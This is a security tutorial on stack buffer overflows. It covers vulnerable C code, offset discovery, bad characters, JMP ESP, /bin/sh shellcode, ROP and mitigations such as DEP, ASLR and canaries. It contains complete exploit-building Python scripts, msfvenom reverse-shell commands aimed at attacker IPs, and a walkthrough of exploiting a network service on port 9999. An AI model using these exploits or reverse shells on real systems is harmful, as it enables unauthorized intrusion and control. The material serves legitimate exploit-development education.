By Davy Rogers. Use these techniques only in environments you own or have explicit permission to test.

Buffer Overflow

Buffer Overflow is a critical vulnerability where a program writes more data to a buffer than it can hold, overwriting adjacent memory. This can lead to arbitrary code execution, allowing attackers to gain complete control of a system. This lesson covers buffer overflow fundamentals, exploitation techniques, and modern protections.

What You'll Learn

  • What is a buffer overflow
  • How buffer overflows work
  • Stack vs heap overflows
  • Finding vulnerable functions
  • Exploiting stack overflows
  • Shellcode creation
  • Return address manipulation
  • Bad characters and encoding
  • Bypassing protections (DEP, ASLR, Stack Canaries)
  • Modern mitigation techniques

What is a Buffer Overflow?

The Vulnerability

Buffer: Fixed-size block of memory for storing data.

Buffer Overflow: Writing beyond buffer's boundaries, corrupting adjacent memory.

Vulnerable Code (C):

#include <string.h>
#include <stdio.h>

void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);  // NO LENGTH CHECK!
    printf("Buffer: %s\n", buffer);
}

int main(int argc, char **argv) {
    vulnerable_function(argv[1]);
    return 0;
}

Problem: strcpy() doesn't check buffer size. Long input overflows buffer.


How Buffer Overflows Work

Stack Memory Layout

High Memory
│
├─ Command Line Arguments
├─ Environment Variables
│
├─ Stack
│  ├─ Return Address (RET)  ← We want to control this!
│  ├─ Saved Base Pointer (EBP/RBP)
│  ├─ Local Variables
│  └─ Function Parameters
│
├─ Heap
├─ BSS (uninitialized data)
├─ Data (initialized data)
└─ Code (program instructions)
│
Low Memory

Normal Function Call

1. Arguments pushed to stack
2. Return address pushed (where to return after function)
3. Base pointer saved
4. Local variables allocated
5. Function executes
6. Return address used to jump back

Buffer Overflow Attack

1. Fill buffer with junk data
2. Overwrite saved base pointer
3. Overwrite return address with malicious address
4. When function returns, jumps to attacker's code
5. Shellcode executes with program's privileges

Example:

Normal:
Buffer: [64 bytes] | EBP | RET
        "Hello"       valid  0x08040000

Overflow:
Buffer: [AAAA...AAAA] | AAAA | 0x41414141
        (64+ A's)      overwrite  controlled!

When function returns, jumps to 0x41414141 (AAAA in hex)

Vulnerable Functions

Dangerous C Functions

// No length checking:
strcpy(dest, src);
strcat(dest, src);
gets(buffer);
sprintf(buffer, format, ...);
scanf("%s", buffer);

// Better alternatives:
strncpy(dest, src, n);
strncat(dest, src, n);
fgets(buffer, size, stdin);
snprintf(buffer, size, format, ...);

Finding Buffer Overflows

Source Code Analysis

Look for:

char buffer[SIZE];
strcpy(buffer, user_input);  // Dangerous!
gets(buffer);                // Very dangerous!
sprintf(buffer, "%s", input); // Dangerous!

Dynamic Analysis (Fuzzing)

Crash the program:

# Send increasingly long inputs
./program "A"
./program "AA"
./program "AAAA"
./program "AAAAAAAA"
...
./program "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."
# Program crashes = potential buffer overflow!

Exploitation Process

Step 1: Crash the Program

# Create pattern
python -c 'print "A" * 100' | ./vulnerable

# If crashes, vulnerable!

Step 2: Find Offset

Determine exact offset to return address:

# Create unique pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200

# Or Python:
from pwn import *
pattern = cyclic(200)

# Run program with pattern
./vulnerable "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2..."

# Program crashes
# Check EIP/RIP value: 0x41336141

# Find offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41336141
# Offset: 76

# Or Python:
cyclic_find(0x41336141)

Step 3: Control EIP/RIP

# Verify control of instruction pointer
python -c 'print "A" * 76 + "BBBB"' | ./vulnerable

# Check crash: EIP = 0x42424242 (BBBB)
# We control EIP!

Step 4: Find Bad Characters

Some characters break exploits:

0x00 = NULL (string terminator)
0x0A = \n (newline)
0x0D = \r (carriage return)
0x20 = space

Test all bytes:

badchars = (
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f"
  "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
  "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
  # ... all bytes 0x01-0xFF
)

payload = "A" * 76 + "BBBB" + badchars
# Send payload, check which characters are truncated/mangled

Step 5: Find Return Address

Jump to shellcode location:

Options:
1. JMP ESP - Jump to stack pointer
2. Direct address (if ASLR disabled)
3. ROP gadgets (advanced)

Find JMP ESP:

# Using mona (Immunity Debugger)
!mona jmp -r esp

# Using msf-nasm_shell
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
00000000  FFE4              jmp esp

# Search for FFE4 in binary
objdump -d vulnerable | grep "ff e4"

Step 6: Create Shellcode

# msfvenom (Metasploit)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b '\x00\x0a\x0d' -f python

# Options:
# -p = payload
# LHOST = attacker IP
# LPORT = attacker port
# -b = bad characters to avoid
# -f = output format (python, c, raw, etc.)

# Output:
buf =  b""
buf += b"\xda\xc1\xd9\x74\x24\xf4\xb8\x7e\x5a\x4f\x29"
buf += b"\x5e\x29\xc9\xb1\x12\x31\x46\x17\x83\xee\xfc"
# ... shellcode bytes

Step 7: Build Exploit

#!/usr/bin/env python3

# Padding (to reach return address)
padding = b"A" * 76

# Return address (JMP ESP)
ret_address = b"\x10\x20\x30\x40"  # Little-endian

# NOP sled (landing zone)
nop_sled = b"\x90" * 16

# Shellcode
shellcode = (
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
    b"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
    b"\x53\x89\xe1\xb0\x0b\xcd\x80"
)

# Build exploit
exploit = padding + ret_address + nop_sled + shellcode

# Send exploit
with open("exploit.txt", "wb") as f:
    f.write(exploit)

print(f"[+] Exploit written to exploit.txt ({len(exploit)} bytes)")

Shellcode Basics

What is Shellcode?

Shellcode: Small piece of code (machine instructions) that executes a command.

Common Types:

  • Bind shell (listen on port)
  • Reverse shell (connect back)
  • Execute command
  • Add user
  • Download and execute

Simple Linux x86 Shellcode

; Execute /bin/sh
section .text
global _start

_start:
    xor eax, eax        ; Zero out EAX
    push eax            ; Push NULL terminator
    push 0x68732f2f     ; Push "//sh"
    push 0x6e69622f     ; Push "/bin"
    mov ebx, esp        ; EBX = pointer to "/bin//sh"
    push eax            ; Push NULL
    mov edx, esp        ; EDX = NULL
    push ebx            ; Push address of "/bin//sh"
    mov ecx, esp        ; ECX = pointer to args
    mov al, 11          ; execve syscall number
    int 0x80            ; Call kernel

Assembled:

\x31\xc0\x50\x68\x2f\x2f\x73\x68
\x68\x2f\x62\x69\x6e\x89\xe3\x50
\x53\x89\xe1\xb0\x0b\xcd\x80

Modern Protections

1. Data Execution Prevention (DEP) / NX

DEP/NX: Memory marked as non-executable.

Stack = No Execute
Heap = No Execute
Code = Execute

Bypass: Return-Oriented Programming (ROP)


2. Address Space Layout Randomization (ASLR)

ASLR: Randomizes memory addresses each execution.

Run 1: Stack at 0x7fff1234
Run 2: Stack at 0x7fff5678
Run 3: Stack at 0x7fff9abc

Bypass: Information leak to find addresses


3. Stack Canaries

Canary: Random value placed before return address.

Buffer | Canary | EBP | RET

If canary changed = overflow detected = program terminates

Bypass: Leak canary value


4. RELRO (Relocation Read-Only)

RELRO: Makes GOT (Global Offset Table) read-only.

Bypass: Requires more advanced techniques


Practical Examples

Example 1: Simple Stack Overflow

// vulnerable.c
#include <stdio.h>
#include <string.h>

void win() {
    printf("You win!\n");
    system("/bin/sh");
}

void vulnerable(char *input) {
    char buffer[64];
    strcpy(buffer, input);
}

int main(int argc, char **argv) {
    printf("Buffer at: %p\n", vulnerable);
    printf("Win at: %p\n", win);
    vulnerable(argv[1]);
    return 0;
}

Compile:

gcc -fno-stack-protector -z execstack -no-pie vulnerable.c -o vulnerable

Exploit:

# Find offset
python -c 'print "A" * 100' | ./vulnerable
# Crashes

# Find exact offset (assume 72)
# Get win() address (assume 0x08040066)

# Build exploit
python -c 'print "A" * 72 + "\x66\x00\x04\x08"' | ./vulnerable
# Spawns shell!

Example 2: Shellcode Injection

#!/usr/bin/env python3
import struct

# Padding
padding = b"A" * 76

# Return address (to shellcode on stack)
# Assume stack at 0xbffff600
ret_addr = struct.pack("<I", 0xbffff650)

# NOP sled
nops = b"\x90" * 100

# Shellcode (execve /bin/sh)
shellcode = (
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
    b"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
    b"\x53\x89\xe1\xb0\x0b\xcd\x80"
)

exploit = padding + ret_addr + nops + shellcode

with open("payload", "wb") as f:
    f.write(exploit)

print("[+] Exploit created!")

Debugging with GDB

GDB Commands

# Start GDB
gdb ./vulnerable

# Set breakpoint
break vulnerable

# Run with argument
run $(python -c 'print "A" * 100')

# Examine registers
info registers
i r

# Examine memory
x/100x $esp
x/s $esp

# Examine instructions
disassemble vulnerable

# Step through
stepi    # Step one instruction
nexti    # Next instruction (skip calls)

# Continue
continue

# Show backtrace
bt

GDB with pwndbg

Enhanced GDB for exploitation:

# Install pwndbg
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

# Use pwndbg
gdb ./vulnerable

# Better interface with:
# - Color coding
# - Automatic info display
# - Stack visualization
# - Heap analysis

Immunity Debugger (Windows)

Using Immunity Debugger + Mona

# Mona commands
!mona config -set workingfolder C:\logs

# Find offset
!mona pattern_create 500
!mona pattern_offset 0x41336141

# Find bad characters
!mona bytearray
!mona compare -f C:\logs\bytearray.bin -a 0x01AFFB00

# Find JMP ESP
!mona jmp -r esp

# Generate ROP chain
!mona rop -m module.dll

Practical Pentesting Scenarios

Scenario 1: Buffer Overflow in Network Service

# Target: TCP service on port 9999

# Step 1: Fuzz to find crash
nc target.com 9999
AAAAAAAAAAAAAAAAAAAAAAAAA...
# Service crashes

# Step 2: Find offset
pattern = cyclic(1000)
nc target.com 9999 <<< "$pattern"

# Step 3: Control EIP
payload = "A" * offset + "\x42\x42\x42\x42"

# Step 4: Find JMP ESP

# Step 5: Generate shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -b '\x00\x0a\x0d' -f python

# Step 6: Build exploit
exploit = padding + jmp_esp_addr + nops + shellcode

# Step 7: Start listener
nc -lvnp 4444

# Step 8: Send exploit
python exploit.py target.com 9999

Return-Oriented Programming (ROP)

What is ROP?

ROP: Chain together existing code snippets ("gadgets") to bypass DEP.

Gadget: Short instruction sequence ending in RET.

Gadget examples:
pop eax; ret
pop ebx; pop ecx; ret
mov [eax], ebx; ret
add esp, 0x10; ret

ROP Chain Example

# Goal: Execute system("/bin/sh")

rop_chain = [
    0x08040100,  # pop eax; ret
    0x0805000,   # address of "/bin/sh"
    0x08040200,  # pop ebx; ret
    0x0805000,   # address of "/bin/sh"
    0x08040300,  # system() address
]

# Each gadget executes, returns to next

Quick Reference

Exploitation Process:
1. Crash program (find vulnerability)
2. Find offset (control EIP/RIP)
3. Identify bad characters
4. Find return address (JMP ESP)
5. Generate shellcode
6. Build exploit
7. Test and refine

GDB Commands:
gdb ./program
break function
run args
info registers
x/100x $esp
disassemble function

Metasploit Tools:
pattern_create.rb -l 500
pattern_offset.rb -q 0x41414141
msfvenom -p payload LHOST=IP LPORT=PORT -b '\x00' -f python

Protections:
DEP/NX  = Non-executable stack
ASLR    = Randomized addresses
Canary  = Stack protection
RELRO   = Read-only GOT

Resources

Practice

  • OverTheWire: Narnia (buffer overflow challenges)
  • HackTheBox
  • TryHackMe: Buffer Overflow Prep
  • Exploit Education: Phoenix
  • DVWA

Tools

  • GDB + pwndbg/gef (Linux debugging)
  • Immunity Debugger (Windows)
  • Metasploit (exploitation framework)
  • pwntools (Python library)
  • ROPgadget (ROP chain generator)

Next Steps

  1. Master GDB for debugging
  2. Practice on CTF challenges
  3. Learn assembly language (x86/x64)
  4. Study ROP techniques for bypassing DEP
  5. Understand ASLR bypasses

Buffer overflows are foundational to exploit development. Master these concepts for both offensive and defensive security!


"Buffer overflow: Because 64 bytes should be enough for anyone... right?"